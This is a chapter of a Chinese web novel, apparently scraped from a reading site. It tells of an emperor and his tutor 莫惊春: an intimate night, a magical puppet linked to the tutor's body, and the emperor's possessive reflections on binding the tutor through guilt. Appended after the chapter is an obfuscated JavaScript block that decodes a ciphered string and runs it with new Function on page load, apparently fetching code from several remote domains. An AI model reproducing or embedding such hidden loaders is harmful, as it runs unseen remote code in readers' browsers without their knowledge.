第106章 第一百零六章(1 / 2)

    郎君进去的时间有点长。

    守在外面的墨痕心道。

    即便是在东府, 他们这些身为莫惊春侍从的人,也是不受限制的。

    莫惊春的身份特殊,这些知道正始帝和莫惊春关系的人都清楚, 保守秘密,才是他们唯一的活路。

    尽管墨痕曾经多次在私底下感慨, 依着正始帝的独占欲,是怎么忍受这藏于暗处的关系?但卫壹曾笑话他傻,上位者的想法, 他们怎么猜得透?

    但墨痕多少还是猜得出来一点。

    这其中, 应当和郎君的意愿有关。

    他们这位夫子, 想必是不愿意那么轻易……就成为别人眼中的趣闻。即便是陛下, 又怎么容忍得了其他人对莫惊春的污蔑?

    最近在朝上, 关于莫惊春的诽谤,已经几乎消失了。

    墨痕清楚, 人若心中有感, 实在难以阻止。

    便是用暴戾压制, 高压统治,也不过是暂时的打压。

    可正始帝毫不犹豫的姿态, 还是让墨痕有些感慨。

    即便帝王无情,可是他们这位“夫人”,对郎君……至少眼下, 多少是有几分真情在的。

    这样一来,墨痕就免不了有别的担忧。

    墨痕对自家主子郎君的想法, 不说猜到了七八分,到底是心有所感。

    莫惊春对于现下的生活, 不至于感到十全十美, 但并没打算做出什么改变, 包括对于子嗣的追求。

    墨痕总觉得,郎君在这些事情上总显得漠然,在没有桃娘前,也看不出他多少追求。在有了桃娘后,虽看得出来莫惊春的高兴,但也没见他再有添丁的打算。

    所以墨痕担心的是正始帝。

    说句大逆不道的话,墨痕总觉得身为帝王,陛下带来的压力和危险,却是比他们本身的关系要多上不少。

    他心里叹了口气,就如同那药引的事情。

    都不知道给莫惊春带来多少杀机。

    墨痕每每想到这里,都忍不住为自家郎君担忧。

    怎、怎就不见郎君害怕呢?

    屋内,莫惊春正慢吞吞爬起来,他将自己里里外外,都洗了个干干净净。这大概花费了莫惊春一半的羞.耻心,等到他爬出来的时候,他觉得另外的那一半也要碎得差不多了。

    他将侍从准备的衣裳穿上,慢吞吞擦着头发。

    一日洗两遍,即便是在冬日,也会觉得有些恼人。

    他看着指尖的发皱,摇了摇头。

    莫惊春压根就没思考过陛下不来的可能。

    他捋着发丝,出神地看着门口,总觉得心里忽略了什么。

    是,这一次的冲动吗?

    莫惊春自省了内心,并没有从中发觉任何的不妥。

    他在心里叹了口气,人要发觉自己的问题,实在是太难了些。不管是自己,还是旁人,想要完整地剖开看清,或许需要的不只是时间,还需要日积月累的接触和一闪而过的灵光。

    莫惊春缓缓看向门口,看向那道紧闭的门。

    正如同现在。

    这汤泉因着从不停歇的潺潺流水声,所以很难听得清楚外面的动静。但是隔着若隐若现的声响,莫惊春还是觉察到了正始帝的到来。

    和一个人接触久了,彼此的习惯便会无声无息地融入到彼此中。

    正如眼下,莫惊春轻而易举就听出来,那是帝王的脚步声。

    比平时要稍显沉些,但还算轻快。

    看来伤势对正始帝的影响,已经没有之前那么严重了。

    很好。

    莫惊春在心里自言自语地说道,至少,这不会对眼下莫惊春想要做的事情造成影响。只见他将手里湿.润的巾子丢下,而后起身,大步朝着门外走去。

    在帝王思索着是要敲开门,还是顺其自然等着夫子出来的时候,莫惊春却已经拉开了门,平静地看着门外的来人。

    正始帝打量着莫惊春的模样,从他披散的半干头发,再到他随意穿上的衣物,那凌乱不整的模样,全然不像是克制守礼的莫惊春会有的姿态,更透着一股豁出去的……

    ?豁出去?

    莫惊春跨了出来,牵住帝王的胳膊,主动带着正始帝朝着正院去。

    “不许跟来。”

    他淡淡抛下这句话,止住了刘昊和墨痕等人的追随,只能眼睁睁看着刚到的陛下被莫惊春给带走了。

    正始帝的眼神透着诡谲,却没有阻止莫惊春的动作,而是任由着自己被莫惊春带了过去,两人一齐步入正院,那急匆匆的步伐,不知道的,还以为是要做什么去。

    莫惊春一路凭着心气,将正始帝拖到了床.榻旁。

    虽然一路上,他已经明白自己要做的事情,可当他真正实施的时候,心里未免打鼓。

    可莫惊春的表情却是半点都没有显露出来,他轻易将帝王推倒在床榻上,而后一扯床帐的带子,将其一并落了下来,盖住了他们的身影。

    如今只是近黄昏,还未到燃灯的时刻,这半是昏暗的室内,只残留少少从窗外透进来的夕阳,隐隐绰绰看到那朦.胧床帐后的身影。

    “夫子,想作甚?”

    正始帝的声音低沉沙哑,透着露.骨的深沉欲.望。

    坐在帝王腰腹上的人抓着帝王的衣襟,一点点撕下来。莫惊春将一头乱发后捋到脑后,露出一双清亮的黑眸。只原本合该是温柔平静的眼神却起波澜,透着少许诡秘幽暗,莫惊春眉眼微弯,“陛下既然来了,难道不知道吗?”他似笑非笑,腿上用力,夹住了正始帝精.瘦的腰。

    正始帝躺着,半点挣扎都无,笑吟吟看着莫惊春的动作,“只是没想过夫子会这么大胆?”他的声音到了最后,尾音上扬,像是蛊惑,又像是有趣。

    莫惊春:“那不然,陛下是怎么觉得的?”

    这一日的邀请,乃是另有所图?

    正始帝:“……或许,是质疑寡人为何要肆意胡来?”

    “这是其中之一,”莫惊春解开衣裳,微弯眉眼,看着赤.裸开的胸膛,“但可以留待之后再说。”

    正始帝盯着莫惊春的动作,眼神仿若其中酝酿着风暴。

    莫惊春后脖颈有点微热,不必去看,都知道红色逐渐爬到耳根,让人感觉到那异样的热意。

    “陛下,臣的生辰已过,您的礼物却还未来,臣主动讨要一个,本来就不过分吧?”他扯开衣襟,露出皙白淡红的皮肤。只见莫惊春垂下头颅,磨蹭着正始帝的脖颈,手指却已经往下。

    正始帝的神色微动,像是没料到莫惊春是如此大胆。

    莫惊春却已经侧过头去。

    唇舌相依的瞬间,他狠狠地咬住对方的舌尖,沁出来的血味,仿若拥入骨髓。

    夕阳西下,逐渐暗沉下来的天色,也盖住了一起的喧嚣。

    ……

    ……

    有笑意,更有浓浓的……难以追寻的情愫混杂其中,隐藏着极其浅薄、却复杂的情绪。

    正始帝抬手摸了摸夫子的头发,原本已经干透的墨发,又被汗水给打湿了。

    外面的风雪越来越大,恍惚间还能听得到夹杂在风声里的人声,隐隐约约有些听不清楚。

    两人静默地听着外界的风雪声,渐渐的,仿佛也融入到那风声雪声里。

    ……

    ……

    正始帝轻轻扯动了莫惊春的头发,近呢喃地说道:“夫子……”这一声呼唤,太轻。

    如果不是他们两人靠得这么近,莫惊春也未必能够听得见。

    莫惊春蹭了蹭脸,示意自己听到了。

    莫惊春从来都是被动的性格,这么主动的时候几乎不曾见过,如果不是正始帝坏心眼折腾,那是甭想看到莫惊春这般模样。

    所以,这不是报复。

    这其实,是某种程度上的依赖和关切。

    莫惊春是在索求着什么。

    正始帝的眼眸微动,手指抚摸着莫惊春的墨发,顺着头发,握住了莫惊春的后脖颈,将靠在肩头的头颅压得更紧,仿佛能听到莫惊春吐出来的湿.热的气息,“您在害怕。手掌将莫惊春的后脖颈扣得死紧,便是不肯夫子抬头。

    哪怕是在这寂静黑暗的屋舍内,正始帝也不愿意有一丝一毫的可能泄露他眼下的模样。

    正始帝在笑。

    他在疯狂,肆意,张扬地大笑。

    那疯狂的笑意从帝王的眉梢流露出来,从他的神情,从他嘴角勾起的弧度,从他无论怎么压抑,都无法容忍的霸道狂肆里,终究会泄露分毫。

    如果不是莫惊春在怀,正始帝此刻怕是要寻几个武者对打,才能发泄心中聚集起来的狂喜和疯意。

    正始帝可是高兴极了。

    夫子,在害怕。

    害怕正始帝的死去。

    即便经过那么多日的缓冲,可到今日,莫惊春还是压制不住心头的后怕,宁愿用这样的方式和帝王肉.体接触,也要感觉到他还活着的气息。

    这何尝不是另类的独占?

    放在从前,莫惊春又怎可能外露这般的情绪?

    莫惊春便是一个撬不开的蚌壳。

    这蚌壳实在是太过坚硬,任是公冶启拎着铁锤在外面转悠了多少圈,到底是砸不开。太过用力,那就是一锤子买卖,彻底砸烂了,想要的也永远得不到。可撬开却又是不可能,那蚌壳自闭到了极致,宁愿将自己缩成小小,也不允许泄露出一丝一毫的感触。

    正始帝每一次看着那蚌壳,都觉得几乎无法让莫惊春露出掩藏在表皮下的情愫。

    可到今日,公冶启看到了蚌壳撬开的曙光。

    柔.软,可怜,透着颤巍巍的犹豫。

    可它还是一点,一点地打开了。

    正始帝看到了那一抹鲜红,更是恨不得扯出来直接吞下。

    他侧过头去,在莫惊春的耳边说道:“寡人给夫子揉揉?”

    正始帝说这话的时候,是正经的,从容的。

    只要不看他一双眼,就仿佛还披着人皮,说着人话。

    莫惊春躺了一会,其实已经休息得差不多。而且,那迟来的、先前被压抑住的羞耻和后怕,逐渐充满了莫惊春的心里,让他忍不住想要落跑。他慢吞吞坐起来,垂落的墨发盖住了他,就仿佛一件衣裳。

    “陛下,臣且先去……”

    他一边说着,一边试图从床榻撤退。

    但问题来了,他要离开,却是不得不跨越正始帝的身躯,再下去。可方才他们肆意的痕迹都还在,一跨过去,岂不就全部……莫惊春沉默了片刻,小心翼翼想要从正始帝的脚边绕过去,可他刚转身,左脚金环就被人死死扣住。

    正始帝幽幽说道:“夫子想去哪?”他的声音不紧不慢,可是莫名透着一种沉闷的力道。

    不像是生气,却也绝不是好事。

    莫惊春顿了顿,慢吞吞地说道:“沐浴。”

    这是异常正直的理由。

    正始帝一边颔首,一边扣住莫惊春的脚将人拖了回来,笑吟吟地说道:“方才是夫子服侍寡人,眼下,也该轮到寡人服侍夫子才是。”

    不知为何,听着陛下这话,莫惊春却忍不住打了个寒颤。

    “陛下,不必……”

    “要得。”

    正始帝故意拖长着声音,强硬地将莫惊春拥在怀里。

    “夫子不会以为,方才那几次,便合算了吧?”

    莫惊春僵住,听着陛下不怀好意地说道:“寡人本来以为,在老太医的耳提面命下,有些事,还是要节制的好。可是如今看来,夫子却是比寡人还要想念得很……”

    “胡言!”

    莫惊春忍不住道。

    可正始帝却是不依不饶,捉着莫惊春不放,结果墨痕他们在院外,直到一二个时辰后,那屋里才叫了水。

    不只是水,还有姗姗来迟的饭食。

    起初,确实是莫惊春的欲.望难填。

    他不是个贪.欲的人。

    莫惊春只是想借由着这一回,让自己清楚地意识到,正始帝还活着这个事实。

    自从正始帝出事以来,那些无形的压力除了朝政带来外,还有帝王当真可能死去的后怕。

    莫惊春畏惧着帝王的死亡。

    这份畏惧,一开始,只是为了任务,是为了朝政,也是为了天下太平。可时日渐久,却已再说不清楚,那复杂的情感中,究竟混杂着多少东西。不管是爱也好,是恨也罢,莫惊春再也无法将自己独自抽离在外。

    或许是从他意识到,自己当真爱上正始帝开始。

    他清醒地知道,这是个错误的决定。

    不只是正始帝的身份,也因着他的疯狂。

    这是个彻头彻尾的错误。

    有多少次,莫惊春听到自己的声音在心里唾骂,训斥着自己的愚蠢。

    愚蠢。

    他倦怠地闭上眼,忍不住叹息。

    非常,非常愚蠢。

    “夫子在想什么?”

    正始帝正坐在他的身后,有点不太熟练地给莫惊春洗头。

    他调和着水的温度,慢慢浇湿在莫惊春的头发上,“再胡思乱想,寡人可要不留情了。”

    莫惊春下意识颤了颤,“还能,不留情到哪里去?”

    他都快要被正始帝逼疯了。

    正始帝慢悠悠说道:“夫子这样可不好,是你自己招惹的,怎可半途而废?”

    莫惊春:“……”什么叫半途而废?

    做到后半夜?

    那怕不是得直接死了。

    莫惊春闭着眼,让陛下一点点清洗,意识就有些模糊了。

    等他猛地醒来,便是出了汤泉,往正院走的时候。莫惊春愣神了一会,挣扎着想要下来,“您身上的伤势……”

    刚才来汤泉,好歹是莫惊春自己过来的。

    正始帝淡淡说道:“别动。”他的掌心漫不经意地拍在莫惊春的臀上,顺手还掐了掐,“快到了。”

    莫惊春羞愤欲死。

    这突如其来的情绪,倒是让莫惊春清醒了些,到了正院,他还是连忙下来,免得再折.腾自己,也折.腾陛下。他原本还想着去检查陛下的情况,却见正始帝不紧不慢地走到床边,在那挂着的衣物里掏了一会,最后掏出来一只小小人偶。

    莫惊春就觉得自己的腰突然被掐了一下。

    然后,正始帝就拿着这小人放在莫惊春的怀里,“夫子有觉得,他变得更逼真了吗?”

    莫惊春微讶,抬起手打量着这小人,手指慢慢摸上那小脸蛋。

    “……好像,有了些温度?”

    莫惊春迟疑地说道。

    【解锁进度:1/4】

    精怪猛地跳出来一个提示,让莫惊春惊讶了一下,“解锁什么?”他打量着这小人偶的模样,难道是要让人偶活过来?

    【这半身本就是和宿主息息相关,某种程度上也拥有活性。当您与它的联系完全恢复时,惩罚将结束】

    莫惊春蹙眉,完全恢复?

    他像是想到了什么,突然对正始帝说道,“陛下,您再摸摸这小人偶如何?”正始帝瞥了他一眼,在莫惊春的身旁坐下,然后捏了捏小人偶的手。

    莫惊春感受了一下,摇头说道:“不够,陛下,您再换一种刺激的方式。”

    正始帝:“……”

    他慢吞吞地、将手指挪到了小人偶的后脖颈,一下又一下地磨.蹭,那动作的幅度不算大,却已经遍及了脖颈处所有的敏.感点。莫惊春冷不丁打了个寒颤,右手猛地捂住后脖颈,那古怪瘙.痒的感觉异常微妙。

    但,确实是比之前更密切了些。

    具体表现在,莫惊春和这小人偶的共感,或者说通感,更强烈。

    莫惊春长出了口气。

    找到解决的办法自然是好事,可是这解决的办法也不简单。

    …………

    他闭了闭眼,没再想下去。

    折.腾了这么久,莫惊春早就困了。左不过心里的那些想法不能说出来,而且事关惩罚,若是说的太多,让陛下更上心,事后就更麻烦了。

    毕竟那些年的任务惩罚下来,已经足够骇人听闻。

    这系统任务让人没有办法,已经逐渐习以为常。

    他潦草地扯过这个话题,不愿让陛下知道这其中的关联。借着频频打哈欠这个由头,早早上了床,眼不见为净。

    正始帝将小人摸了一遍,再放回去衣裳内,这才踱步上了床,躺在莫惊春的身旁,“睡吧。”

    他轻声安抚。

    帝王是知道自己本性。

    他是铁定睡不着。

    正始帝一点点,将莫惊春给哄睡后,侧过头去,睁着一双漆黑幽凉的眼眸,目不转睛地盯着身旁的人。

    如果莫惊春醒来看到的话,他或许会觉得正始帝疯了。

    哪有人大半夜不睡觉,夜半深沉地盯着人看?

    莫惊春沉稳的呼吸声,落在正始帝的耳中,就像是无声的安抚。

    远比什么都好使。

    倏地,那张平静森然的面孔,突兀地露出一个微弯的弧度。

    那是一个无声无息的笑意。

    ——“皇帝,你此番险些丧命,难道便不会后悔?”

    ——“此番,只要寡人不死,这便是此生做过,最值当的买卖。”

    他终究是彻底得到了莫惊春。

    夫子此人,太过束缚漠然,想要让他彻底流露情绪,那几乎不可能。然,这另辟蹊径的法门,却是有的。

    正始帝救人,乃是心甘情愿。

    可这带给他的,是无与伦比的回报。

    沉重的,将死的,无法挣扎的愧疚,将会彻底笼罩住莫惊春。不论正始帝将来如何,不管未来天下如何议论,即便莫家不愿愤怒……莫惊春都不会离开。

    因为,莫惊春就是这样的人。

    莫惊春的心中有着太多太多的人,莫家,张千钊,袁鹤鸣……他的家人,他的朋友,尽管不会凌驾于正始帝之上,却也顶多并列。

    莫惊春不会让任何人伤害他们。

    这个“他们”里,当然也包括正始帝。

    可……这也意味着,正始帝在莫惊春的心中,并非特殊。

    对于情爱而言,正始帝当然是唯一一人。

    可除此之外呢?

    他连最重要的都算不上。

    正始帝确实动过一些不为人知的念头。

    莫惊春的预兆、他的抗拒,从一开始,就没有错。

    他早早就预料到了帝王是个怎样的人……

    然帝王到底没做。

    这并不是正始帝良心发现,而是因为莫惊春。

    不管是哪一个,若是正始帝真的动手,那会给他们两人的关系带来翻天覆地的变故。即便莫惊春还留着情.爱之欲,却也绝对不会留下来。

    正始帝无比清楚这一点。

    可再是清楚,对于欲.望无止境,贪婪又残暴的恶兽来说,又怎可能止步于这一点呢?

    在正始帝的眼中,唯独“家人”是最值得在意的。

    从前,是永宁帝和太后,构成这个独特词语下的稳固。而在永宁帝逝去后,这坍塌了一脚的存在,却也是正始帝确凿无比的支架。

    莫惊春一脚踩了进来,让帝王意识到,“家人”这个存在,尚且不够。

    于是,帝王又给莫惊春开辟了一个小小的角落。

    说小,却也在莫惊春出现的那一瞬,便彻底塞满了。

    这个角落就只有这么多,也只能容纳下这么多,除了莫惊春之外,就再无别人。

    可莫惊春不是如此。

    对于贪得无厌的正始帝来说,他终究是个霸道又自私的人。

    他一点点做到今日这步,直到他意外险些丧命,直到他醒来,看到莫惊春失控仓皇而来的模样,看着他软倒跪下去,看着眼底赤.裸裸的柔.软和情感……

    正始帝心头盘踞的凶兽早就乐不可支。

    正始帝此人,想要的事情,想要得到的人,便是千疮百孔,挖肉掘骨,也定要勉强为之。

    如此,可谓功德圆满。

    …

    莫惊春骤然惊醒。

    他连连喘气,那模样就像是被人梦中追捕一般,活生生吓醒了过来,睁着一双黑漆漆的眼眸,一时间居然还有点吓人。

    身旁的左侍郎给他吓了一跳,惊骇地说道:“尚书,您这是?”他看着莫惊春额头的薄汗,心里不免担忧。

    如今这寒冬腊月的,这屋内虽有地暖,可莫惊春也没用啊!就靠着那膝盖上的暖手炉,能暖和成这样?

    难道是出了什么事?

    莫惊春抬手一抹,满头大汗。

    他原本是午后想要歇息一会,但没想到假寐却真的睡着了。

    莫惊春从怀里取出帕子,擦拭着额头说道:“无碍,只是做了个梦。你有何事?”说是做梦,或许有些太过牵强。

    他压根想不起来自己做了什么梦。

    但回想起来,那情绪上的压抑和紧张,却是抹煞不去的。

    左侍郎抿唇,轻声说道:“您之前吩咐属下查的东西,已经有了眉目。”

    莫惊春挑眉,“这么快?”

    左侍郎苦笑着说道:“但唯独一点不好,右侍郎怕是有些觉察。”

Tip:收藏+分享莫太傅说他不答应,是对网站最大的肯定和支持。
!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();